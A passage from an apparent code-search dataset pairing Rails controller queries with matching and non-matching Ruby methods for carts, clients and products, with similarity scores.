"def confirmer_cart\n _user = current_client\n _confirmation = rand(36**10).to_s(36)\n _cart = Commande.new()\n _cart.client_id = _user.id\n if params[:addr_id] != '-1'\n _cart.adresse_id = params[:addr_id]\n else\n _cart.adresse_id = client_adresse.id \n end\n _cart.no_confirmation = _confirmation\n _cart.date_de_commande = params[:date_de_commande]\n _cart.heure_de_commande = params[:heure_de_commande]\n _cart.prix_total = params[:prix_total]\n _cart.status_pret = false\n _cart.save\n render json: _cart\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cart_items }\n end\n end",
"def expiracion\n @usuario = Usuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usuario }\n end\n end",
"def all\n @carts = Cart.get_all_of_carts(@user, params[:page])\n if @carts.present?\n @carts\n else\n @object = 'Cart'\n render \"api/v1/errors/404\", status: 401\n end\n end",
"def set_cartao\n @cartao = Cartao.find(params[:id])\n end",
"def show\n @capacidad = Capacidad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @capacidad }\n end\n end",
"def pagarFactura(factura)\n sist = Sistema.new;\n proveedor = Grupo.find_by(idGrupo: factura[0][\"proveedor\"])[\"idBanco\"]\n response = JSON.parse(sist.transferir(factura[0][\"total\"],sist.idBanco,proveedor))\n return response\n end",
"def show_the_cart\n @cart_items = Nacho.find(cart)\n end",
"def comprar_producto\n response = ApiB2b.comprarProducto(params[:sku], params[:cantidad])\n render json: response\n end",
"def product\n request = Request.where(user_id: [params[:user_id]])\n render :json => request.as_json\n end",
"def show\n @categoria_producto = CategoriaProducto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categoria_producto }\n end\n end",
"def show_cart\n # GETTING ALL THE ITEMS\n\n @cart_nachos = Nacho.find(cart)\n\n end",
"def show\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sistema }\n end\n end",
"def show\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caixa }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def index\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n \t\t\t@usuario.pedidos.reload\n \t\t\trender json: @usuario.pedidos\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n authorize! :update, @negocio\n \t\t@negocio.pedidos.reload\n \t\trender json: @negocio.pedidos\n \t\tend\n \tend",
"def show\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pago }\n end\n end",
"def show\n @coligacao_partido = ColigacaoPartido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coligacao_partido }\n end\n end",
"def show\n @items = cart.items\n @products = @items.collect(&:product)\n \n respond_to do |format|\n format.html { render layout: false } \n format.json { render json: @items }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"def show\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @solicitud_servicio }\n end\n end",
"def create\n product = Product.where(id: params[:product_id]).select(:id).first\n if product\n cart = current_user.carts.create(product_id: params[:product_id], quantity: params[:quantity])\n render json: { id: cart.id, product_id: cart.product_id, quantity: cart.quantity }\n else\n render json: { error: \"Product not found\" }, status: :not_found\n end\n end"
] | [
"0.7232177",
"0.6988673",
"0.6977801",
"0.69282895",
"0.68262035",
"0.6728768",
"0.6706216",
"0.66556543",
"0.6607132",
"0.65920216",
"0.6537126",
"0.6537126",
"0.65095735",
"0.64774585",
"0.6470391",
"0.64232874",
"0.64232874",
"0.6422311",
"0.6374982",
"0.6360945",
"0.6359197",
"0.6342055",
"0.6336145",
"0.63339424",
"0.6269464",
"0.6252654",
"0.622951",
"0.622951",
"0.6193123",
"0.618549",
"0.61762136",
"0.61762136",
"0.6145317",
"0.6143359",
"0.6137382",
"0.61366534",
"0.613442",
"0.6133979",
"0.61314434",
"0.6120568",
"0.6120568",
"0.6114215",
"0.608945",
"0.6088812",
"0.60844284",
"0.60743564",
"0.6073175",
"0.6055683",
"0.60443765",
"0.6037847",
"0.6014483",
"0.60089093",
"0.60083604",
"0.598847",
"0.59821904",
"0.5980992",
"0.5980916",
"0.5973191",
"0.59567875",
"0.59369504",
"0.592814",
"0.5926154",
"0.5923528",
"0.5919617",
"0.591939",
"0.5919039",
"0.5915381",
"0.5915381",
"0.5907699",
"0.5904496",
"0.59037787",
"0.5903629",
"0.5901373",
"0.5892676",
"0.5891055",
"0.5889318",
"0.5888452",
"0.5884176",
"0.58763784",
"0.58749783",
"0.5874912",
"0.586936",
"0.58648974",
"0.5862614",
"0.5861276",
"0.5860229",
"0.5858121",
"0.5857786",
"0.5857786",
"0.5857786",
"0.5848249",
"0.5842434",
"0.5839178",
"0.58376426",
"0.5834183",
"0.5834183",
"0.583402",
"0.583402",
"0.58313566",
"0.5827089"
] | 0.76665306 | 0 |
GET /usuario_carta/new GET /usuario_carta/new.json | def new
@usuario_cartum = UsuarioCartum.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @usuario_cartum }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @cartum = Cartum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartum }\n end\n end",
"def new\n if(ShoppingCart.find_by_user_id(current.user).nil?)\n @shopping_cart = ShoppingCart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shopping_cart }\n end\n else\n redirect_to root_path\n end\n end",
"def create\n @usuario_cartum = UsuarioCartum.new(params[:usuario_cartum])\n\n respond_to do |format|\n if @usuario_cartum.save\n format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully created.' }\n format.json { render json: @usuario_cartum, status: :created, location: @usuario_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @caracteristica_cartum = CaracteristicaCartum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @caracteristica_cartum }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n @cart = Cart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart }\n end\n end",
"def new\n\tadd_breadcrumb \"Nuevo usuario\", :new_usuario_path\n @usuario = Usuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @usuario }\n end\n end",
"def new\n @usuario = Usuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario }\n end\n end",
"def new\n @usuario = User.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario }\n end\n end",
"def new\n @tipo_usuario = TipoUsuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_usuario }\n end\n end",
"def new\n @producto = Producto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producto }\n end\n end",
"def new\n @cartucho = Cartucho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cartucho }\n end\n end",
"def new\n @mixproducto = Mixproducto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mixproducto }\n end\n end",
"def new\n @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produto }\n end\n end",
"def new\n @caixa = Caixa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @caixa }\n end\n end",
"def new\n @cliente = Cliente.new\n localidad_new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart_item }\n end\n end",
"def new\n @capacidad = Capacidad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @capacidad }\n end\n end",
"def new\n @sistema = Sistema.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sistema }\n end\n end",
"def new\n @cart_item = CartItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart_item }\n end\n end",
"def new\n @cart_item = CartItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cart_item }\n end\n end",
"def new\n @produccion = Produccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produccion }\n end\n end",
"def new\n @comentario = Comentario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comentario }\n end\n end",
"def new\n @produccion = Produccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produccion }\n end\n end",
"def new\n @tipo_product = TipoProduct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_product }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new_for_order\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html\n format.json { render json: @cliente }\n end\n end",
"def new\n @producto = Producto.new\n @producto.alimento = true #Para que aparezca un default en el select\n usuarios = Usuario.where(:admin => 0) #Para coleccion del dueño del producto\n prod = Producto.all\n @marcas = get_marcas(prod)\n @fabricantes = get_fabricantes(prod)\n @companias = []\n for elem in usuarios do\n @companias.push([elem.compania, elem.id])\n end\n flash[:accion] = \"Crear Producto\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producto }\n end\n end",
"def new\n @tecnico = Tecnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def new\n @paciente = Paciente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paciente }\n end\n end",
"def new\n @sezione = Sezione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sezione }\n end\n end",
"def new\n @asignatura = Asignatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asignatura }\n end\n end",
"def new\n @peso = Peso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @peso }\n end\n end",
"def new\n @cuerpo = Cuerpo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cuerpo }\n end\n end",
"def new\n @tecnico = Tecnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"def new\n @artigo = Artigo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @artigo }\n end\n end",
"def create\n @cartum = Cartum.new(params[:cartum])\n\n respond_to do |format|\n if @cartum.save\n format.html { redirect_to @cartum, notice: 'Cartum was successfully created.' }\n format.json { render json: @cartum, status: :created, location: @cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @tipo_convenio = TipoConvenio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def new\n @palabras_clafe = PalabrasClave.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @palabras_clafe }\n end\n end",
"def new\n @usuario_partida = UsuarioPartida.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario_partida }\n end\n end",
"def new\n @productonegocio = Productonegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @productonegocio }\n end\n end",
"def new\n @categoria_producto = CategoriaProducto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @categoria_producto }\n end\n end",
"def new\n @safra_produto = SafraProduto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @safra_produto }\n end\n end",
"def new\n @mensaje_usuario = MensajeUsuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mensaje_usuario }\n end\n end",
"def new\n @servicio = Servicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @servicio }\n end\n end",
"def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recurso }\n end\n end",
"def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projeto }\n end\n end",
"def new\n @pedido = Pedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pedido }\n end\n end",
"def new\n @selecao = Selecao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @selecao }\n end\n end",
"def new\n @veiculo = Veiculo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def new\n @precioproducto = Precioproducto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @precioproducto }\n end\n end",
"def new\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @juzgado }\n end\n end",
"def new\n @comisaria = Comisaria.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comisaria }\n end\n end",
"def new\n @competicao = Competicao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @competicao }\n end\n end",
"def new\n\n @paciente = Paciente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paciente }\n end\n end",
"def new\n @tecnico = current_user.tecnicos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def new\n @seguridad_usuario = Seguridad::Usuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seguridad_usuario }\n end\n end",
"def new\n @noto = Noto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @noto }\n end\n end",
"def create\n product = Product.where(id: params[:product_id]).select(:id).first\n if product\n cart = current_user.carts.create(product_id: params[:product_id], quantity: params[:quantity])\n render json: { id: cart.id, product_id: cart.product_id, quantity: cart.quantity }\n else\n render json: { error: \"Product not found\" }, status: :not_found\n end\n end",
"def new\n @producto = Producto.new\n @producto.propiedades = Hash.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producto }\n end\n end",
"def new\n @concurso = Concurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concurso }\n end\n end",
"def new\n @emailusuario = Emailusuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @emailusuario }\n end\n end",
"def new\n @coisa = Coisa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @coisa }\n end\n end",
"def new\n @asociado = Asociado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asociado }\n end\n end",
"def new\n @sugerencia = Sugerencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sugerencia }\n end\n end",
"def new\n @empresa = Empresa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @empresa }\n end\n end",
"def new\n @calificacion_servicio = CalificacionServicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @calificacion_servicio }\n end\n end",
"def new\n @venta = Venta.new(:fecha => Date.today, confirmada: true)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venta }\n end\n end",
"def new\n @tipo_pensum = TipoPensum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_pensum }\n end\n end",
"def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cita }\n end\n end",
"def new\n @prestacion = Prestacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prestacion }\n end\n end",
"def new\n @respuesta = Respuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @respuesta }\n end\n end",
"def new\n @carts_product = @cart.carts_products.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @carts_product }\n end\n end",
"def new\n @articulo = Articulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @articulo }\n end\n end",
"def new\n @articulo = Articulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @articulo }\n end\n end",
"def new\n @articulo = Articulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @articulo }\n end\n end",
"def new\n @articulo = Articulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @articulo }\n end\n end",
"def new\n @propuesta = Propuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @propuesta }\n end\n end",
"def new\n @custo = Custo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @custo }\n end\n end",
"def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @premio }\n end\n end",
"def create\n @caixa = Produto.new(produto_params)\n @caixa.user = current_user\n\n respond_to do |format|\n if @caixa.save\n format.html { redirect_to @caixa, notice: 'Caixa was successfully created.' }\n format.json { render :show, status: :created, location: @caixa }\n else\n format.html { render :new }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @colegiatura = Colegiatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def create\n @caracteristica_cartum = CaracteristicaCartum.new(params[:caracteristica_cartum])\n\n respond_to do |format|\n if @caracteristica_cartum.save\n format.html { redirect_to @caracteristica_cartum, notice: 'Caracteristica cartum was successfully created.' }\n format.json { render json: @caracteristica_cartum, status: :created, location: @caracteristica_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @caracteristica_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @usuario = Usuario.new\n if current_user\n session[:admin_new] = true\n else\n session[:admin_new] = false\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario }\n end\n end",
"def new\n @atracao = Atracao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @atracao }\n end\n end",
"def new\n @utente = Utente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @utente }\n end\n end",
"def new\n @tipo_negocio = TipoNegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_negocio }\n end\n end",
"def new\n @solicitud_servicio = SolicitudServicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @solicitud_servicio }\n end\n end",
"def new\n @deporte_usuario = DeporteUsuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deporte_usuario }\n end\n end",
"def new\n @contato_produto = ContatoProduto.new\n @produto_id = Produto.find(params[:produto_id])\n @contato_produto.produto_id = params[:produto_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contato_produto }\n end\n end"
] | [
"0.73844117",
"0.73699594",
"0.735934",
"0.7292732",
"0.72693306",
"0.72693306",
"0.72693306",
"0.72693306",
"0.72693306",
"0.72693306",
"0.72693306",
"0.72693306",
"0.7241418",
"0.7185905",
"0.7182895",
"0.71679944",
"0.7164979",
"0.71499366",
"0.71483904",
"0.7134645",
"0.70833015",
"0.70710564",
"0.7051264",
"0.70022863",
"0.69850516",
"0.69751006",
"0.69751006",
"0.696779",
"0.6966545",
"0.696609",
"0.6941944",
"0.69385606",
"0.69385606",
"0.69385606",
"0.69385606",
"0.69385606",
"0.6921959",
"0.69209206",
"0.6918251",
"0.68876487",
"0.68657154",
"0.6862273",
"0.684715",
"0.6846216",
"0.68343925",
"0.6831294",
"0.68303025",
"0.6829206",
"0.68216103",
"0.6818744",
"0.68150204",
"0.6812405",
"0.6812144",
"0.68120277",
"0.681173",
"0.6809647",
"0.6805943",
"0.6795718",
"0.6781917",
"0.67816234",
"0.67770183",
"0.6776668",
"0.6773445",
"0.6769369",
"0.67674583",
"0.6765147",
"0.67640895",
"0.6763216",
"0.6759722",
"0.67591596",
"0.67573607",
"0.6753711",
"0.674948",
"0.674158",
"0.67377335",
"0.6733638",
"0.67333865",
"0.6723107",
"0.6721681",
"0.67165536",
"0.67130613",
"0.6712054",
"0.6709739",
"0.6706548",
"0.6706548",
"0.6706548",
"0.6706548",
"0.66998047",
"0.66997373",
"0.66983753",
"0.6696163",
"0.6694329",
"0.6690643",
"0.66893035",
"0.6689123",
"0.6687674",
"0.66834104",
"0.6676971",
"0.6668352",
"0.6663019"
] | 0.8002356 | 0 |
POST /usuario_carta POST /usuario_carta.json | def create
@usuario_cartum = UsuarioCartum.new(params[:usuario_cartum])
respond_to do |format|
if @usuario_cartum.save
format.html { redirect_to @usuario_cartum, notice: 'Usuario cartum was successfully created.' }
format.json { render json: @usuario_cartum, status: :created, location: @usuario_cartum }
else
format.html { render action: "new" }
format.json { render json: @usuario_cartum.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def confirmer_cart\n _user = current_client\n _confirmation = rand(36**10).to_s(36)\n _cart = Commande.new()\n _cart.client_id = _user.id\n if params[:addr_id] != '-1'\n _cart.adresse_id = params[:addr_id]\n else\n _cart.adresse_id = client_adresse.id \n end\n _cart.no_confirmation = _confirmation\n _cart.date_de_commande = params[:date_de_commande]\n _cart.heure_de_commande = params[:heure_de_commande]\n _cart.prix_total = params[:prix_total]\n _cart.status_pret = false\n _cart.save\n render json: _cart\n end",
"def create\n product = Product.where(id: params[:product_id]).select(:id).first\n if product\n cart = current_user.carts.create(product_id: params[:product_id], quantity: params[:quantity])\n render json: { id: cart.id, product_id: cart.product_id, quantity: cart.quantity }\n else\n render json: { error: \"Product not found\" }, status: :not_found\n end\n end",
"def create\n @caixa = Produto.new(produto_params)\n @caixa.user = current_user\n\n respond_to do |format|\n if @caixa.save\n format.html { redirect_to @caixa, notice: 'Caixa was successfully created.' }\n format.json { render :show, status: :created, location: @caixa }\n else\n format.html { render :new }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @id=session[:test_id]\n @cartella_clinica=CartellaClinica.new(cartella_clinica_params)\n respond_to do |format|\n if @cartella_clinica.save\n CartellaClinica.update(@cartella_clinica.id,:paziente_id =>@id) \n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata creata con successo.' }\n format.json { render :show, status: :created, location: @cartella_clinica }\n else\n format.html { render :new }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n @cart.user_id = current_user.id\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @cart = Cart.create({User_id: cart_params[\"id\"]})\n \n @response = {\n cart: @cart,\n items: Item.all\n }\n \n render json: @response.to_json\n end",
"def create\n @caracteristica_cartum = CaracteristicaCartum.new(params[:caracteristica_cartum])\n\n respond_to do |format|\n if @caracteristica_cartum.save\n format.html { redirect_to @caracteristica_cartum, notice: 'Caracteristica cartum was successfully created.' }\n format.json { render json: @caracteristica_cartum, status: :created, location: @caracteristica_cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @caracteristica_cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if cart_item_exist?\n @cart_item.quantity += params[:cart_item][:quantity]\n else\n params[:cart_item][:cart_id] = params[:cart_id]\n @cart_item = CartItem.new(cart_item_params)\n end\n\n if @cart_item.save\n @cart = @cart_item.cart\n\n build do\n message 'Новый товар в корзине'\n view 'carts/show'\n end\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def new\n @usuario_cartum = UsuarioCartum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usuario_cartum }\n end\n end",
"def create\n @produto = Produto.new(params[:produto])\n @produto.empresa = session[:usuario].empresa\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render json: @produto, status: :created, location: @produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n\t\t@cart.user_id = current_user.id\n\t\t@cart.product_item_ids = param[:product_item_ids]\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cart }\n else\n format.html { render action: 'new' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cartum = Cartum.new(params[:cartum])\n\n respond_to do |format|\n if @cartum.save\n format.html { redirect_to @cartum, notice: 'Cartum was successfully created.' }\n format.json { render json: @cartum, status: :created, location: @cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # create a new cart\n @cart = Cart.new\n\n # add the user's ID to the new cart\n @cart.user_id = params['user_id']\n\n authorize @cart\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n if current_user.cart.nil?\n current_user_cart = current_user.build_cart\n current_user_cart.save\n else\n current_user_cart = current_user.cart\n end\n\n @carts_product = CartsProduct.new\n @carts_product.cart_id = current_user_cart.id\n @carts_product.product_id = params[:product_id]\n @carts_product.quantity = params[:quantity]\n\n\n respond_to do |format|\n if @carts_product.save\n format.html { redirect_to :back, notice: 'Product was successfully added.' }\n format.json { render :show, status: :created, location: @carts_product }\n else\n format.html { render :new }\n format.json { render json: @carts_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @catalogo_usuario = CatalogoUsuario.new(catalogo_usuario_params)\n\n respond_to do |format|\n if @catalogo_usuario.save\n format.html { redirect_to @catalogo_usuario, notice: 'Catalogo usuario was successfully created.' }\n format.json { render :show, status: :created, location: @catalogo_usuario }\n else\n format.html { render :new }\n format.json { render json: @catalogo_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comentario = @comentavel.comentarios.create(comentario_params)\n @comentario.usuario = current_user\n respond_to do |format|\n if @comentario.save\n response_successfully(format, produto, 'Comentario was successfully created.', :show, :created)\n else\n response_unsuccessfully(format, :new, @comentario, :unprocessable_entity)\n end\n end\n end",
"def create\n respond_to do |format|\n if usuario_do_setor_principal\n @aquisicao = Aquisicao.new(\n params.require(:aquisicao).permit(:produto_id, :quantidade)\n )\n @aquisicao.setor = Setor.principal\n @aquisicao.usuario = current_usuario\n\n if @aquisicao.save\n format.html { redirect_to @aquisicao, notice: 'Aquisição registrada com sucesso.' }\n format.json { render :show, status: :created, location: @aquisicao }\n else\n set_produtos\n format.html { render :new }\n format.json { render json: @aquisicao.errors, status: :unprocessable_entity }\n end\n else\n @aquisicao.errors.add :base, aviso_apenas_usuario_do_setor_principal\n format.html { render :new, notice: @aquisicao.errors }\n format.json { render json: @aquisicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cartao_params\n params.fetch(:cartao, {}).permit(:proxy, :pin, :time, :numero, :validade, :cvv)\n end",
